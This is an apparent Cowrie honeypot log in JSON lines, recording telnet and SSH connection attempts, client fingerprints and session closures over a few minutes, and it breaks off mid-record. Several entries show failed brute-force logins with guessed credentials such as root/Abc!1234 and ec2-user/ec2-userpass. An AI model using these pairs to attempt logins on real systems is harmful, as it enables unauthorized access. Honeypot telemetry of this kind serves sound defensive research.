{"eventid":"cowrie.session.closed","duration":31.02276039123535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:17.437763Z","src_ip":"104.245.105.2","session":"e78eb95aefc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55842,"dst_ip":"10.17.0.5","dst_port":23,"session":"70a2f55ff875","protocol":"telnet","message":"New connection: 104.245.105.2:55842 (10.17.0.5:23) [session: 70a2f55ff875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:18.395760Z"}
{"eventid":"cowrie.session.closed","duration":31.478288173675537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:30.269893Z","src_ip":"111.90.147.30","session":"5c1f263c25ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.447831630706787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:30.286764Z","src_ip":"111.90.147.30","session":"92fba1a62288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51032,"dst_ip":"10.17.0.5","dst_port":23,"session":"63cdf805f5da","protocol":"telnet","message":"New connection: 104.245.105.2:51032 (10.17.0.5:23) [session: 63cdf805f5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:32.344492Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":43180,"dst_ip":"159.203.135.109","dst_port":22,"session":"004c2f0fd6c9","protocol":"ssh","message":"New connection: 182.48.68.82:43180 (159.203.135.109:22) [session: 004c2f0fd6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:33.791266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:33.796787Z","src_ip":"182.48.68.82","session":"004c2f0fd6c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:34.040076Z","src_ip":"182.48.68.82","session":"004c2f0fd6c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123","message":"login attempt [sftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:35.036607Z","src_ip":"182.48.68.82","session":"004c2f0fd6c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":54038,"dst_ip":"159.203.135.109","dst_port":23,"session":"22f357263d5a","protocol":"telnet","message":"New connection: 111.90.147.30:54038 (159.203.135.109:23) [session: 22f357263d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:35.485259Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:36.281044Z","src_ip":"182.48.68.82","session":"004c2f0fd6c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.62889051437378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:46.377723Z","src_ip":"111.90.147.30","session":"e1f2f4a2ed7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":35122,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba28d480a2e","protocol":"telnet","message":"New connection: 111.90.147.30:35122 (159.203.135.109:23) [session: 4ba28d480a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:55.166023Z"}
{"eventid":"cowrie.session.closed","duration":40.228415727615356,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:25:58.624083Z","src_ip":"104.245.105.2","session":"70a2f55ff875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92236828804016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:03.266705Z","src_ip":"104.245.105.2","session":"63cdf805f5da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66716742515564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:07.152302Z","src_ip":"111.90.147.30","session":"22f357263d5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41190,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e41f019aac","protocol":"telnet","message":"New connection: 111.90.147.30:41190 (159.203.135.109:23) [session: d4e41f019aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:12.381921Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41408,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e03d24bf70","protocol":"telnet","message":"New connection: 104.245.105.2:41408 (10.17.0.5:23) [session: d5e03d24bf70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:20.998285Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":55782,"dst_ip":"159.203.135.109","dst_port":23,"session":"6102fdccacf3","protocol":"telnet","message":"New connection: 111.90.147.30:55782 (159.203.135.109:23) [session: 6102fdccacf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:22.138305Z"}
{"eventid":"cowrie.session.closed","duration":30.5706467628479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:25.736533Z","src_ip":"111.90.147.30","session":"4ba28d480a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41094,"dst_ip":"10.17.0.5","dst_port":23,"session":"d930e09373df","protocol":"telnet","message":"New connection: 104.245.105.2:41094 (10.17.0.5:23) [session: d930e09373df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:31.737141Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41100,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c014ec33aca","protocol":"telnet","message":"New connection: 104.245.105.2:41100 (10.17.0.5:23) [session: 7c014ec33aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:33.674502Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":53320,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dee9633f095","protocol":"ssh","message":"New connection: 182.48.68.82:53320 (159.203.135.109:22) [session: 5dee9633f095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:37.565311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:37.569834Z","src_ip":"182.48.68.82","session":"5dee9633f095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:37.810642Z","src_ip":"182.48.68.82","session":"5dee9633f095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc!1234","message":"login attempt [root/Abc!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:38.805755Z","src_ip":"182.48.68.82","session":"5dee9633f095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:40.050277Z","src_ip":"182.48.68.82","session":"5dee9633f095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.886510848999023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:43.268234Z","src_ip":"111.90.147.30","session":"d4e41f019aac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55437994003296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:53.692360Z","src_ip":"111.90.147.30","session":"6102fdccacf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52056336402893,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:54.518717Z","src_ip":"104.245.105.2","session":"d5e03d24bf70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":15383,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ea4e810807e","protocol":"ssh","message":"New connection: 193.24.211.95:15383 (159.203.135.109:22) [session: 7ea4e810807e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:55.661280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:55.667101Z","src_ip":"193.24.211.95","session":"7ea4e810807e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:55.775713Z","src_ip":"193.24.211.95","session":"7ea4e810807e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"telnet","message":"login attempt [root/telnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:56.224277Z","src_ip":"193.24.211.95","session":"7ea4e810807e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:26:57.342012Z","src_ip":"193.24.211.95","session":"7ea4e810807e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.029042959213257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:04.703437Z","src_ip":"104.245.105.2","session":"7c014ec33aca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.69177556037903,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:08.428788Z","src_ip":"104.245.105.2","session":"d930e09373df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53046,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02bfccf7c55","protocol":"telnet","message":"New connection: 104.245.105.2:53046 (10.17.0.5:23) [session: a02bfccf7c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:18.104621Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":49152,"dst_ip":"159.203.135.109","dst_port":22,"session":"57f2096386b7","protocol":"ssh","message":"New connection: 182.48.68.82:49152 (159.203.135.109:22) [session: 57f2096386b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:38.512136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:38.519933Z","src_ip":"182.48.68.82","session":"57f2096386b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:38.767047Z","src_ip":"182.48.68.82","session":"57f2096386b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-userpass","message":"login attempt [ec2-user/ec2-userpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:39.761233Z","src_ip":"182.48.68.82","session":"57f2096386b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:41.006315Z","src_ip":"182.48.68.82","session":"57f2096386b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.81165552139282,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:27:54.916191Z","src_ip":"104.245.105.2","session":"a02bfccf7c55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.178.250.101","src_port":17313,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ecd403a853","protocol":"telnet","message":"New connection: 45.178.250.101:17313 (159.203.135.109:23) [session: 17ecd403a853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:04.153487Z"}
{"eventid":"cowrie.session.closed","duration":12.938643217086792,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:17.091985Z","src_ip":"45.178.250.101","session":"17ecd403a853","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":38752,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fe5aa61071f","protocol":"ssh","message":"New connection: 182.48.68.82:38752 (159.203.135.109:22) [session: 4fe5aa61071f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:43.856122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:43.860790Z","src_ip":"182.48.68.82","session":"4fe5aa61071f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:44.102566Z","src_ip":"182.48.68.82","session":"4fe5aa61071f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdf","message":"login attempt [user/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:45.097519Z","src_ip":"182.48.68.82","session":"4fe5aa61071f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:46.341305Z","src_ip":"182.48.68.82","session":"4fe5aa61071f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":47462,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b453ac939ce","protocol":"ssh","message":"New connection: 202.165.22.58:47462 (159.203.135.109:22) [session: 2b453ac939ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:49.665916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:28:49.670878Z","src_ip":"202.165.22.58","session":"2b453ac939ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"